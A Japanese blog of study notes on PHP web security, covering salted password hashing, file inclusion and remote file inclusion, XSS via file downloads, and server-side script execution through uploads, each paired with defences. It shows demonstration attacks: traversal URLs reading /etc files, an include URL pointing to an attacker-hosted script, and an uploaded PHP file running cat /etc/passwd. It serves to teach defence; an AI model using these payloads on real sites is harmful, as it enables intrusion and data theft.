My Photo

August 09, 2014

PHPメモ041:パスワードのSalt付きハッシュ値

Salt(ソルト)とは

Saltはパスワードのハッシュ値を生成する際に元のデータに付与する文字列である。

ハッシュ値 = ハッシュ関数(パスワード+Salt)

Saltをユーザ毎に異なる値にすれば、同じパスワードでもハッシュ値はそれぞれ異なる値となる。
Saltを付与してハッシュ値を生成した場合、ハッシュ値だけでなくSaltも保存しておかなければならない。入力されたパスワードの検証では
ハッシュ関数(入力されたパスワード+Salt)
でハッシュ値を求めて、システムが持つパスワードのハッシュ値と比較する。よって、Saltがないとパスワードの検証ができない。

「パスワード+Salt」から生成したハッシュ値の利点はレインボーテーブルによるオフライン攻撃に対して強くなることである。レインボーテーブルとはハッシュ値とパスワードの、巨大な対応表(逆引き表)である。インターネットで公開されているものもある。
Saltを付与しないで生成したハッシュ値では、このレインボーテーブルを使って高速にハッシュ値から平文のパスワードを見つけられる可能性がある。
対して「パスワード+Salt」のハッシュの場合、Saltはシステムやユーザ毎に違うのでレインボーテーブルの有効性が著しく下がる。
ただし、オフラインの総当り攻撃(ブルートフォース攻撃)にはほとんど効果がない。オフライン攻撃、総当り攻撃については参考サイト1を参照。

PHPでの実装

PHPでハッシュ値を得るにはPHP 5.5以降では password_hash() という関数が用意されているのでそれを使う。5.5より前のPHPでは crypt() を使用する。
どちらの関数も戻り値にSaltが含まれているので、別途Saltを保存しておく必要はなく関数の戻り値を保存しておけばよい。
戻り値の形式は参考サイト2の下の方で説明されている。簡単に説明すると最初の4桁がハッシュを求めるためのアルゴリズムの指定、次の3桁がコスト(ストレッチングの回数)の指定、その後がSaltとハッシュ値になっている。ストレッチングについては参考ページ1を参照。
前記のようにこの値は「<ハッシュを生成する方法の指定>+<Salt>+<ハッシュ値>」となっているが、別にコード中で分解したりくっつけたりする必要なく全体をハッシュ値として扱えばよい。
crypt() でアルゴリズムにBlowfishを指定する場合、最初に渡すSaltは以下のような形式である。

$2y$<2桁数値>$<22桁の文字列>

先頭の4桁 "$2y$" はPHP 5.3.7以降で使用できる。それ以前のPHPでは "$2a$" と指定できるが、セキュリティ上問題があるとPHPのドキュメントでは説明されている。
ただし、自分が使用できる環境(OSはCentOS)では、PHPが5.3.7より古いが "$2y$" でもcrypt() が値を返しており、エラーやワーニングも出ず表立って不都合はなかった。ハッシュ化に関連するモジュールが更新されているんだろうか?
続くコストの指定には4~31を指定できる。固定長2桁で、10未満の値を指定する場合は前ゼロを付ける(4の場合は"04")。
最後の22桁の文字列に使用できる文字は "./0-9A-Za-z" である。

以下のコードで ctypt() を試してみた。

define('SALT_HEADER', '$2a$04$');

function create_salt() {
    // Blowfishのソルトに使用できる文字種
    $chars = array_merge(range('0', '9'), range('a', 'z'), range('A', 'Z'), array('.', '/'));
    
    // ソルトを生成(上記文字種からなるランダムな22文字)
    $salt = '';
    for ($i = 0; $i < 22; $i++) {
        $salt .= $chars[mt_rand(0, count($chars) - 1)];
    }
    
    return SALT_HEADER . $salt;
}

$password = 'abcd1234';

$salt = create_salt();
echo "salt={$salt}\n";

$hashed_password = crypt($password, $salt);
echo "{$password}=>{$hashed_password}\n";

$str1 = 'abcd1234';
$hashed_str1 = crypt($str1, $hashed_password);
echo "{$str1}=>{$hashed_str1}: ";
if ($hashed_str1 === $hashed_password) {
	echo "password OK\n";
} else {
	echo "password NG\n";
}

$str2 = 'wxyz7890';
$hashed_str2 = crypt($str2, $hashed_password);
echo "{$str2}=>{$hashed_str2}: ";
if ($hashed_str2 === $hashed_password) {
	echo "password OK\n";
} else {
	echo "password NG\n";
}

出力は以下のようになる。
何度も実行するとほとんどの場合でSaltの最後の1文字が crypt() の戻り値に含まれていない。Saltのアルゴリズムとコストの指定に続く22文字の文字列のうち、実際には21文字しか使われない場合があるということだろうか?

salt=$2a$04$6LX9dypo2YY6IiBEu8Z25E
abcd1234=>$2a$04$6LX9dypo2YY6IiBEu8Z25.Ifd.t6Ai3/xECpUME.B89TOenc9t9Z6
abcd1234=>$2a$04$6LX9dypo2YY6IiBEu8Z25.Ifd.t6Ai3/xECpUME.B89TOenc9t9Z6: password OK
wxyz7890=>$2a$04$6LX9dypo2YY6IiBEu8Z25.rupqqWpAbJmZzQsm4tOMaASf5ngh41i: password NG

参考ページ:
1.本当は怖いパスワードの話 - @IT
2.PHP: パスワードのハッシュ - Manual
3.PHP: crypt - Manual
4.PHP: password_hash - Manual
5.PHP でパスワードを保存するなら Blowfish でハッシュしよう | バシャログ。
6.PHP - [メモ] パスワードのハッシュを強力にする - Qiita

May 18, 2014

ファイルインクルード脆弱性

発生箇所 includeなどによりスクリプトを読み込んでいるページ
影響を受けるページ すべてのページ
影響の種類 情報漏洩、サイト改ざん、不正な機能実行、他サイトへの攻撃(踏み台)
利用者の関与の度合い 不要

概要

スクリプト言語にはソースの一部に別ファイルを読み込む機能がある。PHPの場合は require,require_once,include,include_once が該当する。
読み込まれるファイルを外部から指定できる場合、アプリケーションが意図しないファイルを指定することにより脆弱性が発生する場合がある。これをファイルインクルード脆弱性と呼ぶ。PHPの場合、設定によっては外部サーバのURLをファイル名として指定できる場合がある。これをリモートファイルインクルード(RFI)と呼ぶ。

攻撃手法

●ファイルインクルードによる情報漏洩

下記は脆弱性のあるスクリプト include_test.php の抜粋である。

<body>
<?php>
$header = $_GET['header'];
require_once($header . '.php');
?>
本文【省略】
</body>

ヘッダ用スクリプトが header1.php の場合、以下のURLにアクセスするのが正常系の呼び出しである。

http://<ホスト名>/include_test.php?header=header1

攻撃の場合、例えば以下のようなURLにアクセスする。

http://<ホスト名>/include_test.php?header=../../../etc/host%00

すると /etc/hostt の内容が表示される。URLの末尾の"%00"はヌルバイト攻撃によりPHPスクリプトで付け足している拡張子(.php)を無効するためである。
このように、ファイルインクルード攻撃によりWEBサーバ内の非公開ファイルの漏洩が起こる。
この例はディレクトリ・トラバーサル脆弱性と同じである。

●スクリプトの実行1:RFI攻撃

PHPのinclude, require はURLを指定すると外部サーバのファイルを読み込む(Remote File Include; RFI)。ただし、危険な期のであるためPHP5.2.0以降ではデフォルトでは無効になっている。
もしRFIが有効であれば、次のような攻撃が可能である。

まず、外部の攻撃スクリプトとして以下の attack.txt が用意してある。

<?php phpinfo(); ?>

この攻撃用スクリプトのURLをクエリーストリングのパラメータとして、先の include_test.php へ以下のURLでアクセスする。

http://<ホスト名>/include_test.php?header=http://<攻撃用サイトのホスト名>/attack.txt?

include_test.php では取得した値に ".php" を連結して require_once() の引数としている。よって、読み込まれるファイルのURLは以下になる。

http://<攻撃用サイトのホスト名>/attack.txt?.php

前に "?" があるので、".php" はクエリー文字列となり、攻撃用スクリプト attack.txt に書かれている phpinfo() が実行されて攻撃成功となる。

●スクリプトの実行2:セッション保存ファイルの悪用

RFIが無効にされている場合でも、次の2つの条件のいずれかを満たしていればWEBサーバ上に任意の内容を書き込める場合にはファイルインクルード攻撃によりスクリプトを実行させられる可能性がある。

  • ファイルのアップロードが可能である。
  • セッション変数の保存先としてファイルを使用している。

いずれの場合もファイル名が推測できることが条件である。
具体例として後者のセッション変数の保存先がファイルとなっている場合を説明する。

例として問い合わせサイトと取り上げる。この攻撃対象のサイトには、外部入力をそのままセッション変数に格納している箇所があるとする。
入力フォームは以下のようなものである。説明のために、本来はない攻撃用のコードを含んでいる(4行目)。

<form action="inquiry2.php" method="post">
質問をどうぞ<br>
<textarea name="inquiry" rows="4" cols="4">
<?php phpinfo(); ?>
</textarea>
<input type="submit">
</form>

質問を受け付けるスクリプトは以下になる。POSTデータをセッション変数に格納しているだけだが、攻撃の説明のためにセッション変数の格納先を表示している。

<?php
session_start();
$_SESSION['inquiry'] = $_POST['inquiry'];
$session_filename = session_save_path() . '/sess_' . session_id();
?>
<body>
質問を受け付けました。<br>
セッションファイル名:<?php echo $session_filename; ?><br>
<a href="include_test.php?header=<?php echo $session_filename; ?>%00">ファイルインクルード攻撃</a>
</body>

上記スクリプトでは説明のためにセッションファイル名を表示しているが、現実のアプリケーションではこのような表示はない。よってファイル名が推測できるかどうかが問題となる。
セッション情報のファイル名は、セッション情報の保存パスとセッションIDを元に構成される。保存パスは設定変更できるがデストリビューションによってデフォルトが決まっていて、それを変更せずに使用している場合が多いと予想される。セッションIDはクッキー値からわかる。したがって、攻撃者はセッション情報の保存ファイル名を推測できる。
前記のフォームから問い合わせを送信すると、セッションファイルには以下のような形式の値が保存される。

inquiry|s:21:"<?php phpinfo(); ?>
";

これはPHPのソースコードとして有効である。問い合わせの送信した後の画面の「ファイルインクルード攻撃」というリンクをクリックすると phpinfo() が実行される。

脆弱性の原因

  • インクルードされるファイル名を外部から指定できる。
  • インクルードされるべきファイル名かどうかの妥当性チェックをしていない。

対策

この脆弱性の対策の考え方は、ディレクトリ・トラバーサル脆弱性の対策と同様である。

  • 外部からファイル名を指定する使用を避ける。
  • ファイル名にディレクトリ名が含まれないようにする。
  • ファイル名を英数字に限定する。

具体的にはディレクトリ・トラバーサル脆弱性についての以前の記事を参照。
また、保険的な対策としてRFIを無告にする。PHP5.2.0以降ではデフォルトで禁止されているはずである。
設定が以下のようになっていることを確認する。

allow_url_include = off

参考文献:体系的に学ぶWebアプリケーションの作り方 4.13.1 ファイルインクルード攻撃

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

PATHINFO(PATH_INFO)について参考にしたサイト:
環境変数PATH_INFOとは? - 苔の一念岩をも通す ~目指せいつかはプログラマ~
PATH_INFOって何? - よくきたWiki
PHP: $_SERVER - Manual

March 27, 2014

ファイルダウンロードによるXSS その3

関連記事:
ファイルダウンロードによるXSS その1
ファイルダウンロードによるXSS その2

対策

アップロード時とダウンロード時に以下の対策を実施する。

アップロード時の対策
  • 拡張子が許可されたものかをチェックする。
  • 画像の場合はマジックバイトを確認する。

拡張子のチェックについてはアップロードファイルによるサーバ側スクリプト実行で説明した。
マジックバイトの確認にはPHPの場合 getimagesize() という関数が利用できる。

array getimagesize (string $filename [, array &$imageinfo ])
返り値は最大 7 つの要素からなる配列。
0番目および1番目の要素は、それぞれ画像の幅と高さ
2番目の要素は IMAGETYPE_XXX 定数のひとつで、画像の形式を表す。
3番目の要素はIMGタグで直接利用できる文字列 height="yyy" width="xxx"。

この関数は引数として画像のファイル名を受け取り、画像の縦横サイズと画像の形式などを配列として返す。
画像の形式の値の一部を下表に示す。

getimagesize()が返す画像形式の情報(一部)
定数
1 IAMGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG

アップロードファイルによるサーバ側スクリプト実行で改良したアップロードスクリプトをさらに getimagesize() を使用して改良し、XSS脆弱性に対処する。対処後のスクリプトを upload3.php とする。
画像ファイルのチェック関数 check_image_type() を以下に示す。

// function check_image_type($imgfile, $tofile)
//   $imgfile : チェック対象画像ファイル名
//   $tofile : ファイル名(拡張子チェック用)
function check_image_type($imgfile, $tofile) {
  // 拡張子の取得とチェック
  $info = pathinfo($tofile);
  $ext = strtolower($info['extension']);
  if ($ext != 'png' && $ext != 'jpg' && $ext != 'gif') {
    die('拡張子はpng、gif、jpgのいずれかを指定ください');
  }
  // 画像タイプ取得
  $imginfo = getimagesize($imgfile);
  $type = $imginfo[2];
  // 以下、正常な組み合わせの場合はreturnしていく
  if ($ext == 'gif' && $type == IMAGETYPE_GIF)
    return;
  if ($ext == 'jpg' && $type == IMAGETYPE_JPEG)
    return;
  if ($ext == 'png' && $type == IMAGETYPE_PNG)
    return;
  // 最後までreturnしない組み合わせはエラー
  die('拡張子とイメージ形式が一致しません');
}

upload3.php でこの check_image_type() を呼び出している部分を以下に示す。

$tmpfile = $_FILES['imgfile']['tmp_name'];
$orgfile = $_FILES['imgfile']['name'];
if (! is_uploaded_file($tmpfile)) {
  die('ファイルがアップロードされていません');
}
// 画像のチェック
check_image_type($tmpfile, $orgfile);
$tofile = get_upload_file_name($orgfile);
ファイルダウンロード時の対策
  • Content-Typeを正しく設定する。
  • 画像の場合は、マジックバイトを確認する。
  • 必要に応じてContent-Dispositionヘッダを設定する。

・Content-Typeを正しく設定する
PDFファイルダウンロードによるXSS脆弱性のサンプルは、Content-Typeの間違いが原因だった。Content-Typeを正しく指定すれば脆弱性はなくなる。Content-Typeを正しく指定することはIEに限らずすべてのブラウザで必要である。
ダウンロードスクリプト経由ではなくファイルを公開領域に保存する場合は、Webサーバの設定の確認をする。Aapacheでは mime.types という設定ファイルにContent-Typeの設定が保存されている。あまり使われていないソフトウェアを利用する場合や mime.types を自分で設定した場合は、ブラウザ側で認識できるContent-Typeであることをチェックするすべきである。

・画像の場合はマジックバイトを確認する
ダウンロードスクリプトを用いてファイルをダウンロードする際には、ダウンロード時にもマジックバイトを確認するようにすれば、なんらかの原因で不正なファイルがWebサーバに紛れ込んでいても確実な対策が可能となる。
以下にアップロード時の対策で用いて check_image_type() を利用するダウンロードスクリプトの改良版を示す。

$mimes = array('jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif');

$file = $_GET['file'];
$info = pathinfo($file);       // ファイル情報の取得
$ext = strtolower($info['extension']);     // 拡張子
$content_type = $mimes[$ext]; // Content-Typeの取得
if (!$content_type) {
  die('拡張子はpng、gif、jpgのいずれかを指定ください');
}
$path = UPLOADPATH . '/' . basename($file);
check_image_type($path, $path);
header('Content-Type: ' . $content_type);
readfile($path);

・必要に応じてContent-Dispositionを設定する
ダウンロードしたファイルをアプリケーションで開くのではなくダウンロードできさえすればよい場合は、レスポンスヘッダに「Content-Disposition: attachment」を指定する方法がある。この場合は Content-Type も「application/octet-stream」にするとファイルタイプ上も「ダウンロードすべきファイル」とう意味になる。

Content-Type: application/octet-stream
Content-Disposition: attachment; filename="sample.pdf"

・その他の対策
ここまでの対策は脆弱性を防止するための必要最小限のチェックである。例えば、マジックバイトのチェックのみでは利用者のブラウザで放蕩に表示できるかまでは確認できない。
このため、Webアプリケーションの仕様策定時に以下のようなチェックを行うかどうか検討するとよい。

  • ファイルサイズ以外の縦横サイズ、色数などのチェック
  • 画像として読み込めるかどうかのチェック
  • ウイルス・スキャン
  • コンテンツの内容チェック(自動まはた手動
    ・アダルトコンテンツ
    ・著作権を侵害するコンテンツ
    ・法令、公序良俗に反するコンテンツ
    など

参考:利用者のPCに対象アプリケーションがインストールされていない場合

Content-Typeに該当するアプリケーションが利用者のPCにインストールされていない場合、その Content-Type はブラウザにとって未知のものとなり、XSSの可能性がある。この問題の対応は容易ではない。確実な対処として以下の方法がある。

  • コンテンツを配信するサーバのドメインを別にする。
  • Content-Dispositionヘッダを付ける。

上記の方法には副作用があるため、確実性は劣るものの副作用のない対処としては以下の方法があります。

  • アプリケーションが想定したURLかどうかをチェックする。
  • コンテンツの閲覧に必要なアプリケーションの導入を利用者に注意喚起する。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.12.3 ファイルダウンロードによるクロスサイト・スクリプティング

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

参考サイト:
PHP: getimagesize - Manual

March 23, 2014

ファイルダウンロードによるXSS その2

関連記事:ファイルダウンロードによるXSS その1

脆弱性の原因

この脆弱性の原因にはIneternet Explorer 特有の仕様が影響している。IEはファイルタイプの判定にHTTPレスポンスのContent-Typeヘッダ以外に、URL上の拡張子やファイルの中身を利用している。
その判定仕様は非公開だが、以下のような挙動が判明している。

コンテンツが画像の場合

Content-Typeの他に、画像ファイルのマジックバイトがファイルタイプの判定に利用される。
マジックバイトとはファイルタイプ識別のためにファイルの先頭に置かれた固定の文字列である。JPEG、PNGのマジックバイトを下表に示す。

画像形式 マジックバイト
JPEG \xFF\xD8\xFF
PNG \x89PNG\x0D\x0A\x1A\x0A

IE7以前のデフォルト設定では以下のようにファイルタイプを判定する。

・Content-Typeとマジックバイトが一致する場合
Content-Typeが示すファイルタイプを採用する。

・Content-Typeとマジックバイトが一致しない場合
どちらも無視し、ファイルの内容からファイルタイプを推測する。ファイルの内容にHTMLタグが含まれていればHTMLと判定する場合もある。

コンテンツが画像以外の場合

IEのバージョンを問わず次のような仕様であると推測されている。
IEが扱うことのできるContent-Typeの場合、Content-Typeに従って処理をする。扱えるContent-Typeはレジストリの HKEY_CLASSES_ROOT\MIME\Database\Content Type に登録されている。
IEが扱うことのできないContent-Typeの場合、URLに含まれる拡張子からファイルタイプを判定する。このルールは複雑であるので説明しない。
前の記事で攻撃用URLの作成のためにPATHINFOとして「/a.html」を加えたのは、このURL中の拡張子からファイルタイプを判定する仕様を悪用するためである。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.12.3 ファイルダウンロードによるクロスサイト・スクリプティング

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

February 24, 2014

ファイルダウンロードによるXSS その1

発生箇所 ファイルのアップロード機能、ダウンロード機能
影響を受けるページ アプリケーション全体。特にセッション管理や認証のあるページは影響が大きい
影響の種類 成りすまし
利用者の関与の度合い 必要。リンクのクリックなど

概要

アップロードしたファイルを利用者がダウンロードする際に、ブラウザがファイルタイプを誤認する場合がある。例えばアプリケーションがPNG画像を想定しているにもかかわらず画像のデータ中にHTMLタグが含まれていると、条件によってはブラウザがHTMLファいつと誤認して、画像ファイルに埋め込まれたらJavaScriptを実行する場合がある。これがファイルダウンロードによるXSSである。
この脆弱性を悪用する攻撃者はHTMLやJavaScriptを仕込んだ画像ファイルやPDFファイルをアップロードして公開する。このファイルは通常の参照の仕方ではHTMLとは認識されないが、攻撃者がアプリケーション利用者に罠を仕掛けてアップロードしたファイルがHTMLとして認識されるように仕向ける。ブラウザがこのファイルをHTMLとして認識するとXSS攻撃が成立する。

攻撃手法

攻撃手法を2例示す。いずれもIE以外のブラウザでは必ずしも再現しない。

●画像ファイルによるXSS

画像ファイルに偽装したファイルにHTMLやJavaScriptを仕込んだものをアップロードする方法によってXSS攻撃が可能となる場合がある。画像によるXSSはIE8以降では対策されている。
アップロードファイルによるサーバ側スクリプト実行の記事のスクリプト実行対策版アップローダでsample.pngというファイルをアップロードする。このファイルは拡張子はpngだが内容は以下のスクリプトである。

<script>alert('XSS');</script>

アップロード完了の画面において、img要素の部分は×印となる。リンクをクリックするとIE7では上記のJavaScriptが実行される。IE8ではスクリプトがテキストとして表示される。
実際の攻撃では攻撃用のJavaScriptを仕込んだファイルを画像としてアップロードした上で、その画像を表示するURLを罠サイトに仕込む。ただしimg要素で画像として表示してもJavaScriptは実行されないので、iframe要素などを用いてHTMLとして表示させる。

画像ファイルによるXSSの影響は通常のXSSと同じである。すなわちクッキー値の盗み出しによる成りすまし、Web機能の悪用、画像改変によるフィッシングなどが可能である。

●PDFダウンロード画面によるXSS

次の例はPDFのようなアプリケーションファイルのダウンロードサービスを想定している。ストレージサービスを簡略化したものである。
ファイルをアップロードする画面はアップロードファイルによるサーバ側スクリプト実行の記事のものからform要素のactionだけを変更したものを使用する。
同様にファイルを受け付けるスクリプトとダウンロードスクリプトは受け付けるファイルの拡張子をpdfに変更したものを使用する。
以下にファイルを受け付けるスクリプトupload2.php(抜粋)とダウンロードスクリプトdownload2.phpである。ダウンロードスクリプトでは拡張子のチェック以外に3行目のMIMEタイプの指定部分も変更しており、PDFのContent-Typeとしては不正な値をセットしている

<?php
define('UPLOADPATH', '/var/upload');

function get_upload_file_name($tofile) {
  // 拡張子のチェック
  $info = pathinfo($tofile);
  $ext = strtolower($info['extension']);
  if ($ext != 'pdf') {
    die('拡張子はpdfを指定ください');
  }
// 中略
$imgurl = 'download2.php?file=' . basename($tofile);
?>
<body>
<a href="<?php echo htmlspecialchars($imgurl); ?>"><?php
 echo htmlspecialchars($orgfile, ENT_NOQUOTES, 'UTF-8'); ?>
をアップロードしました</a><br>
</body>
<?php
define('UPLOADPATH', '/var/upload');
$mimes = array('pdf' => 'application/x-pdf');

$file = $_GET['file'];
$info = pathinfo($file);       // ファイル情報の取得
$ext = strtolower($info['extension']);     // 拡張子
$content_type = $mimes[$ext]; // Content-Typeの取得
if (! $content_type) {
  die('拡張子はpdfを指定ください');
}
header('Content-Type: ' . $content_type);
readfile(UPLOADPATH . '/' . basename($file));
?>

正常なPDFファイルをアップロードするとリンクが表示され、そのリンクをクリックするとPDFファイルをダウンロードできる(ファイル名の拡張子は.pdfにならないがダウンロードされるファイルの中身はPDFである)。

攻撃の場合、例として以下のようにscript要素のみからなるHTMLファイルpdfという拡張子を持つファイル名にしてアップロードする。

<script>alert('XSS');</script>

この偽装PDFファイルをアップロードすると、正常なPDFファイルをアップロードした時と同様にリンクが表示される。リンクをクリックするとファイルダウンロードのダイアログが表示される。
ここからは、攻撃者の視点で罠のためのURLを作成する手順を説明する。ダウンロード用リンクをマウスで右クリックしてコンテキストメニューを表示し、「ショートカットのコピー」を選択する。コピーした内容は以下。

http://example.jp/download2.php?file=<ランダムな文字列>.pdf

これに下記のように「/a.html」という文字列を挿入する。挿入した文字列はPATHINFOと呼ばれるもので、見かけ上はファイル名のような形でパラメータを埋め込む方法である。a.htmlというファイルは存在しないので、パラメータとしてスクリプトに渡される。
「/a.html」を挿入した意味については次回の記事の「脆弱性の原因」で説明する。

http://example.jp/download2.php/a.html?file=<ランダムな文字列>.pdf

このURLをIEのアドレスバーに入力してEnterキーを押下するとJavaScriptが実行される。
偽装画像の場合と異なりIE8でもJavaScriptが実行される(この記事を書いている時点で最新のIE11ではJavaScriptは実行されず、PDFの中身がテキストとして表示される。

この脆弱性の根本原因はContent-Typeの間違いである。PDFの正しいContent-Typeは「application/pdf」だが、「application/x-pdf」と不正なContent-Typeを指定したことが直接的な原因である。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.12.3 ファイルダウンロードによるクロスサイト・スクリプティング

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

PATHINFO(PATH_INFO)について参考にしたサイト:
環境変数PATH_INFOとは? - 苔の一念岩をも通す ~目指せいつかはプログラマ~
PATH_INFOって何? - よくきたWiki
PHP: $_SERVER - Manual

February 20, 2014

アップロードファイルによるサーバ側スクリプト実行

発生箇所 ファイルのアップロード機能を提供するページ
影響を受けるページ すべてのページが脆弱性の影響を受ける
影響の種類 秘密情報の漏洩、データの改ざん・削除、外部へのDoS攻撃、システムの停止など
利用者の関与の度合い 不要

概要

アップローダの中には利用者がアップロードしたファイルをWebサーバの公開ディレクトリに保存するものがある。加えてファイル名の拡張子として php, asp, aspx, jsp などスクリプトを表す拡張子が指定できると、アップロードしたファイルをスクリプトとしてWebサーバ上で実行できます。
外部から送り込まれたスクリプトが実行されると、OSコマンド・インジェクションと同様の影響があります。

攻撃手法

例として利用者が画像ファイルをアップロードし、それを公開する機能を考える。
下記はアップロードする画面である(抜粋)。form要素のenctype属性の値"multipart/form-data"によりフォームデータの送信方式を指定しており、ファイルのアップロードが可能となる。

<form action="upload.php" method="post" enctype="multipart/form-data">
ファイル:<input type="file" name="imgfile" size="20"><br>
<input type="submit" value="アップロード">
</form>

下記はファイルを受け取って決まったディレクトリに保存した上で画面に表示するスクリプト(upload.php)である。

<?php
$tmpfile = $_FILES['imgfile']['tmp_name'];	// 一時ファイル名
$tofile = $_FILES['imgfile']['name'];	// 元ファイル名

if (!is_uploaded_file($tmpfile)) {	// ファイルがアップロードされているか
	die('ファイルがアップロードされていません');
} else if (!move_uploaded_file($tmpfile, 'img/' . $tofile)) {	// 画像を移動
	die('ファイルをアップロードできません');
}
$imgurl = 'img/' . urlencode($tofile);
?>
<body>
<a href="<?php echo htmlspecialchars($imgurl); ?>"><?php echo htmlspecialchars($tofile, ENT_NOQUOTES, 'UTF-8'); ?></a>
をアップロードしました。<br>
<img src="<?php echo htmlspecialchars($imgurl); ?>">
</body>

この機能を使用して画像ファイルをアップロードすれば画像が表示される。

攻撃では画像ファイルの変わりにスクリプトをアップロードする。例として以下のPHPスクリプトをアップロードする。

<pre>
<?php
system('/bin/cat /etc/passwd');
?>
</pre>

すると、アップロードされたファイルは画像ではないがimg要素の部分にIneternetExplorerの場合、×マークが表示される。
リンクをクリックするとスクリプトが実行されて /etc/passwd が表示される。

アップロードファイルによるサーバ側スクリプト実行による影響は、OSコマンド・インジェクションと同じである。PHPスクリプトが動作するOSアカウントで実行可能な昨日すべて悪用可能である。

脆弱性の原因

脆弱性が生まれる条件は、以下の両方に該当することである。

  • アップロードしたファイルを公開ディレクトリに保存する。
  • アップロード後のファイル名として "php", "asp" などスクリプトであることを示す拡張子を指定できる。

対策

アップロードされたファイルを公開ディレクトリに保存しないようにする。その場合、ダウンロードスクリプトを使用する。
下記はダウンロードスクリプトを利用する形で upload.php を修正したものである。

<?php
define ('UPLOADPATH', '/var/upload');

function get_upload_file_name($tofile) {
	// 拡張子のチェック
	$info = pathinfo($tofile);
	$ext = strtolower($info['extension']);	// 拡張子(小文字に統一)
	if ($ext != 'gif' && $ext != 'jpg' && $ext != 'png') {
		die('拡張子gif、jpg、pngのいずれかを指定ください');
	}
	// 以下、ユニークなファイル名の生成
	$count = 0;	// ファイル名再生試行の回数
	do {
		// ファイル名の組み立て
		$file = sprintf('%s/%08x.%s', UPLOADPATH, mt_rand(), $ext);
		// ファイルを作成する。既存の場合はエラーになる
		$fp = @fopen($file, 'x');
	} while ($fp === FALSE && ++$count < 10);
	if ($fp === FALSE) {
		die('ファイルが作成できません');
	}
	fclose($fp);
	return $file;
}

$tmpfile = $_FILES["imgfile"]["tmp_name"];
$orgfile = $_FILES["imgfile"]["name"];
if (!is_uploaded_file($orgfile)) {
	die('ファイルがアップロードされていません');
}
$tofile = get_upload_file_name($orgfile);
if (!move_uploaded_file($tmpfile, $tofile)) {
	die('ファイルがアップロードできません');
}
$imgurl = 'download.php?file=' . basename($tofile);
?>
<body>
<a href="<?php echo htmlspecialchars($imgurl); ?>"><?php
 echo htmlspecialchars($orgfile, ENT_NOQUOTES, 'UTF-8'); ?></a>
をアップロードしました<BR>
<img src="<?php echo htmlspecialchars($imgurl); ?>">
</body>

修正点は
・ファイルの格納先を公開ディレクトリから get_upload_file_name() が返すファイル名に変更したこと
・画像のURLをダウンロードスクリプト download.php 経由にしたこと
である。
get_upload_file_name() は拡張子をチェックし、次にユニークなファイル名を生成し、ファイルを作成してクローズし、削除せずにファイルのパスを返す。
その後、move_uploaded_file() によりアップロードされたファイルで返されたパスのファイルを上書きする。もし get_upload_file_name() で作成したファイルを消してしまうとファイル名の一意性が保障されなくなる。

次にダウンロードスクリプト download.php を以下に示す。

<?php
// 注意:このダウンロードスクリプトにはクロスサイト・スクリプティング脆弱性があります。

define('UPLOADPATH', '/var/upload');
$mimes = array('jpg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif');

$file = $_GET['file'];
$info = pathinfo($file);		// ファイル情報の取得
$ext = strtolower($info['extension']);	// 拡張子
$content_type = $mimes[$ext];	// Content-Typeの取得
if (!$content_type) {
  die('拡張子はpng、gif、jpgのいずれかを指定ください');
}
header('Content-Type: ' . $content_type);
readfile(UPLOADPATH . '/' . basename($file));
?>

このスクリプトはクエリー文字列fileでファイル名を指定する。まず拡張子をチェックし、その後それぞれの拡張子に対応したContent-Typeを出力し、ファイル本体をreadfile()で出力する。
ファイル名をbasename()に通しているのはディレクトリ・トラバーサル脆弱性対策である。

脆弱性発生の原因にアップロードファイル名にスクリプトを示す拡張を指定できることがあったが、それに対する確実な対策は容易ではない。どの拡張子がスクリプトを示すのかは自明ではないためである。
よって、脆弱性の対策としては上記に示したアップロードファイルを公開ディレクトリに保存しない方法を用いる。

参考文献:体系的に学ぶWebアプリケーションの作り方 4.12.2 アップロードファイルによるサーバー側スクリプト実行

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

February 11, 2014

アップロード機能に対するDoS攻撃

概要

Webアプリケーションのアップロード機能に対して、巨大なファイルを連続して送信することによりWebサイトに過大な負荷をかけるDoS攻撃(Denial of Service Attack、サービス妨害攻撃)を仕掛けられる可能性がある。
影響は応答速度の低下、最悪の場合はサーバの停止などがある。

対策

対策にはアップロードファイルの容量制限が有効である。PHPの場合は php.ini で設定することができる。アプリケーションの要求を満たす範囲でできるだけ小さな値にしておくことを推奨する。

設定項目 意味 デフォルト値
file_uploads ファイルアップロード機能が利用可能か On
uplad_max_filesize ファイルあたりの最大容量 2Mバイト
max_file_uploads 送信できるファイル数の上限 20
post_max_size POSTリクエストのボディサイズの上限 8Mバイト
memory_limit スクリプトが確保できる最大メモリのバイト数 128Mバイト

Apacheの httpd.conf でリクエストボディサイズを制限することもできる。PHP以外でも利用できることと早期のチェックでリクエストをエラーにすることでDoS攻撃耐性を高める上で有効である。下記はリクエストのボディサイズを100K日とに制限する場合の設定である。

LimitRequestBody 102400

参考文献:体系的に学ぶWebアプリケーションの作り方 4.12.1 ファイルアップロードの問題の概要

